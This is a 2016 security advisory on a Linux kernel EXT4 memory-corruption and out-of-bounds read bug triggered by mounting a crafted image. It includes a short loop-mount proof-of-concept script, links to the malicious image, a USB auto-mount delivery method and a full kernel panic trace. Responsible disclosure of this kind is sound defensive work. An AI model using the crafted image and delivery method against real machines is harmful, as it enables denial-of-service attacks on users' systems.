OS-S Security Advisory 2016-22

Local DoS: Linux Kernel EXT4 Memory Corruption / SLAB-Out-of-Bounds Read

Date:	October 31th, 2016
Authors:	Sergej Schumilo, Ralf Spenneberg
CVE:	Not yet assigned
CVSS:	4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:	Critical
Ease of Exploitation:	Trivial
Vulnerability Type:	Memory Corruption / SLAB-Out-of-Bounds Read

Abstract:
Mounting a crafted EXT4 image read-only leads to a memory corruption and SLAB-Out-of-Bounds Reads (according to KASAN).
Since the mounting procedure is a privileged operation, an attacker is probably not able to trigger this vulnerability on the commandline. Instead the automatic mounting feature of the GUI via a crafted USB-device is required.

Detailed product description:
We have verified the bug on the following kernel builds:

Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on May, 03th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible disclosure policy.

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1332503

Proof of Concept:
As a proof of concept, we are providing the image that is causing the memory corruption / use-after-free. For demonstration purposes a script to mount this filesystem is also attached.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited as a Denial-of-Service remotely by using a USB-device. In this case the attacker must copy this image (e.g. using dd) to a device or storage such as a SD-card which can be set to read-only mode (using the write-protection switch).

Mount-Script:

```
cp ext4_fs_file /tmp/
mkdir /tmp/a
losetup /dev/loop0 /tmp/ext4_fs_file
mount -o ro /dev/loop0 /tmp/a
```

Malicious EXT4-Image:
https://os-s.net/advisories/OSS-2016-22-image

KASAN-Report:

https://os-s.net/advisories/OSS-2016-22-KASAN

dmesg-Report:

```
/ # ./mount.sh
[   56.421839] EXT4-fs (loop0): ext4_check_descriptors: Checksum for group 0 failed (25303!=248)
[   56.437702] BUG: unable to handle kernel paging request at ffff880016161000
[   56.446533] IP: [<ffffffffc005aa6f>] ext4_calculate_overhead+0x29f/0x370 [ext4]
[   56.454410] PGD 1fee067 PUD 1fef067 PMD 16160063 BAD
[   56.461593] Oops: 000b [#1] SMP
[   56.467235] Modules linked in: ext4(OE) mbcache(E) jbd2(E)
[   56.476475] CPU: 0 PID: 145 Comm: mounter Tainted: G           OE   4.6.0-rc6 #4
[   56.486022] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   56.503885] task: ffff88001ee33300 ti: ffff88001e850000 task.ti: ffff88001e850000
[   56.514936] RIP: 0010:[<ffffffffc005aa6f>]  [<ffffffffc005aa6f>] ext4_calculate_overhead+0x29f/0x370 [ext4]
[   56.528848] RSP: 0018:ffff88001e853c38  EFLAGS: 00010297
[   56.536256] RAX: 0000000032323200 RBX: ffff88001613c000 RCX: 0000000000000000
[   56.546277] RDX: 0000000000128000 RSI: 0000000000128001 RDI: 0000000032323201
[   56.556046] RBP: ffff88001e853c98 R08: ffff8800160b8400 R09: 0000000000000000
[   56.565942] R10: ffff88001ee85000 R11: ffff88001ee84800 R12: ffff88001ee85000
[   56.575833] R13: 0000000000000005 R14: 0000000000000000 R15: 0000000000000000
[   56.587260] FS:  00007fc4e7e6f700(0000) GS:ffff88001e400000(0000) knlGS:0000000000000000
[   56.597788] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   56.607823] CR2: ffff880016160b08 CR3: 000000000011b000 CR4: 00000000000006f0
[   56.618769] Stack:
[   56.622341]  ffff88001ee85000 0000000000000000 0000000100000001 0000000000000000
[   56.634376]  0000000000000001 ffff88001ee84800 0000000000001fff 0000000000000001
[   56.645606]  ffff8800160b8400 0000000000000000 ffff88001ee84800 ffff88001ee85000
[   56.656883] Call Trace:
[   56.660786]  [<ffffffffc005c6c5>] ext4_fill_super+0x1b85/0x32c0 [ext4]
[   56.669671]  [<ffffffff81367579>] ? snprintf+0x39/0x40
[   56.676400]  [<ffffffff8120688b>] mount_bdev+0x17b/0x1b0
[   56.682302]  [<ffffffffc005ab40>] ? ext4_calculate_overhead+0x370/0x370 [ext4]
[   56.694070]  [<ffffffffc004c935>] ext4_mount+0x15/0x20 [ext4]
[   56.701554]  [<ffffffff812071b8>] mount_fs+0x38/0x160
[   56.708763]  [<ffffffff811a6245>] ? __alloc_percpu+0x15/0x20
[   56.717214]  [<ffffffff81222847>] vfs_kern_mount+0x67/0x110
[   56.723703]  [<ffffffff81224fe8>] do_mount+0x228/0xdc0
[   56.731254]  [<ffffffff811e4e01>] ? __kmalloc_track_caller+0x31/0x220
[   56.741002]  [<ffffffff811a0ab2>] ? memdup_user+0x42/0x70
[   56.748223]  [<ffffffff81225ea5>] SyS_mount+0x95/0xe0
[   56.756591]  [<ffffffff817b6176>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[   56.766191] Code: 4c 89 5d c8 89 55 b4 e8 c0 60 fd ff 85 c0 4c 8b 5d c8 0f 8e 46 ff ff ff 8b 55 b4 8d 3c 02 41 8b 4c 24 54 8d 72 01 d3 fa 48 63 d2 <48> 0f ab 13 39 fe 89 f2 75 e9 41 01 c5 e9 21 ff ff ff 49 8b 83
[   56.800243] RIP  [<ffffffffc005aa6f>] ext4_calculate_overhead+0x29f/0x370 [ext4]
[   56.811328]  RSP <ffff88001e853c38>
[   56.816875] CR2: ffff880016161000
[   56.821488] ---[ end trace 70027566e5b28840 ]---
[   56.826472] BUG: unable to handle kernel paging request at ffff8800160b6100
[   56.834290] IP: [<ffffffff810b4257>] task_tick_fair+0x4a7/0x980
[   56.842839] PGD 1fee067 PUD 1fef067 PMD 16160063 BAD
[   56.850310] Oops: 000b [#2] SMP
[   56.856901] Modules linked in: ext4(OE) mbcache(E) jbd2(E)
[   56.865616] CPU: 0 PID: 145 Comm: mounter Tainted: G      D    OE   4.6.0-rc6 #4
[   56.875621] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   56.892863] task: ffff88001ee33300 ti: ffff88001e850000 task.ti: ffff88001e850000
[   56.902648] RIP: 0010:[<ffffffff810b4257>]  [<ffffffff810b4257>] task_tick_fair+0x4a7/0x980
[   56.914488] RSP: 0018:ffff88001e403dd0  EFLAGS: 00010002
[   56.922043] RAX: fffffffffffffda2 RBX: ffff88001e87a000 RCX: 000000000000025e
[   56.932215] RDX: 0000000000000019 RSI: ffff88001e416c40 RDI: ffff8800160b6000
[   56.940606] RBP: ffff88001e403e48 R08: ffffffffffffffff R09: 0000000000000001
[   56.952012] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000005e99
[   56.961436] R13: 00000000000000f0 R14: ffff88001ee33380 R15: ffff88001e87a000
[   56.968021] FS:  00007fc4e7e6f700(0000) GS:ffff88001e400000(0000) knlGS:0000000000000000
[   56.980306] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   56.987740] CR2: ffff8800161605b0 CR3: 000000000011b000 CR4: 00000000000006f0
[   56.995946] Stack:
[   56.997897]  0000000000000000 ffff88001ee33300 ffff88001e416c40 0000000000005eaa
[   57.007230]  ffff880000000000 0000000000000400 ffff880000000000 ffff88001e416c40
[   57.017866]  000000001e403e30 ffff88001ee33380 ffff88001e416c40 0000000000016c40
[   57.024945] Call Trace:
[   57.027693]  <IRQ>
[   57.030393]  [<ffffffff810a643c>] scheduler_tick+0x5c/0xd0
[   57.036102]  [<ffffffff810f5060>] ? tick_sched_handle.isra.13+0x60/0x60
[   57.043808]  [<ffffffff810e5be1>] update_process_times+0x51/0x60
[   57.050493]  [<ffffffff810f5025>] tick_sched_handle.isra.13+0x25/0x60
[   57.058897]  [<ffffffff810f509d>] tick_sched_timer+0x3d/0x70
[   57.065082]  [<ffffffff810e6464>] __hrtimer_run_queues+0xe4/0x250
```

```
[   57.070516]  [<ffffffff810e6bd8>] hrtimer_interrupt+0xa8/0x1a0
[   57.077781]  [<ffffffff8104f948>] local_apic_timer_interrupt+0x38/0x60
[   57.083346]  [<ffffffff817b89ed>] smp_apic_timer_interrupt+0x3d/0x50
[   57.091424]  [<ffffffff817b6d62>] apic_timer_interrupt+0x82/0x90
[   57.099326]  <EOI>
[   57.102170]  [<ffffffff81102911>] ? acct_collect+0x171/0x1a0
[   57.109009]  [<ffffffff8107eb4b>] do_exit+0x4db/0xb10
[   57.115915]  [<ffffffff8102fa93>] oops_end+0xa3/0xd0
[   57.122250]  [<ffffffff810666b0>] no_context+0x110/0x370
[   57.129398]  [<ffffffff81066991>] __bad_area_nosemaphore+0x81/0x200
[   57.138090]  [<ffffffff81066b24>] bad_area_nosemaphore+0x14/0x20
[   57.146376]  [<ffffffff81066ec0>] __do_page_fault+0xc0/0x4c0
[   57.153429]  [<ffffffff811e0015>] ? new_slab+0x3b5/0x5d0
[   57.163147]  [<ffffffff81067327>] trace_do_page_fault+0x37/0xd0
[   57.169386]  [<ffffffff8105fa99>] do_async_page_fault+0x19/0x70
[   57.174572]  [<ffffffff817b8118>] async_page_fault+0x28/0x30
[   57.181017]  [<ffffffffc005aa6f>] ? ext4_calculate_overhead+0x29f/0x370 [ext4]
[   57.188992]  [<ffffffffc005aa50>] ? ext4_calculate_overhead+0x280/0x370 [ext4]
[   57.196489]  [<ffffffffc005c6c5>] ext4_fill_super+0x1b85/0x32c0 [ext4]
[   57.205539]  [<ffffffff81367579>] ? snprintf+0x39/0x40
[   57.211646]  [<ffffffff8120688b>] mount_bdev+0x17b/0x1b0
[   57.218941]  [<ffffffffc005ab40>] ? ext4_calculate_overhead+0x370/0x370 [ext4]
[   57.228329]  [<ffffffffc004c935>] ext4_mount+0x15/0x20 [ext4]
[   57.234328]  [<ffffffff812071b8>] mount_fs+0x38/0x160
[   57.240946]  [<ffffffff811a6245>] ? __alloc_percpu+0x15/0x20
[   57.246275]  [<ffffffff81222847>] vfs_kern_mount+0x67/0x110
[   57.250890]  [<ffffffff81224fe8>] do_mount+0x228/0xdc0
[   57.255725]  [<ffffffff811e4e01>] ? __kmalloc_track_caller+0x31/0x220
[   57.261346]  [<ffffffff811a0ab2>] ? memdup_user+0x42/0x70
[   57.266554]  [<ffffffff81225ea5>] SyS_mount+0x95/0xe0
[   57.274193]  [<ffffffff817b6176>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[   57.280765] Code: 8b bb e8 00 00 00 48 29 d0 48 81 ff 00 eb ee 81 74 2c 49 89 c0 48 c1 ea 06 49 c1 f8 3f 4c 89 c1
48 31 c1 4c 29 c1 48 39 d1 76 13 <3e> 48 01 87 00 01 00 00 48 8b 43 78 48 89 83 98 00 00 00 65 8b
[   57.312620] RIP  [<ffffffff810b4257>] task_tick_fair+0x4a7/0x980
[   57.319317]  RSP <ffff88001e403dd0>
[   57.322494] CR2: ffff8800160b6100
[   57.326972] ---[ end trace 70027566e5b28841 ]---
[   57.333540] Kernel panic - not syncing: Fatal exception in interrupt
[   57.346993] Kernel Offset: disabled
[   57.350049] Rebooting in 1 seconds..
```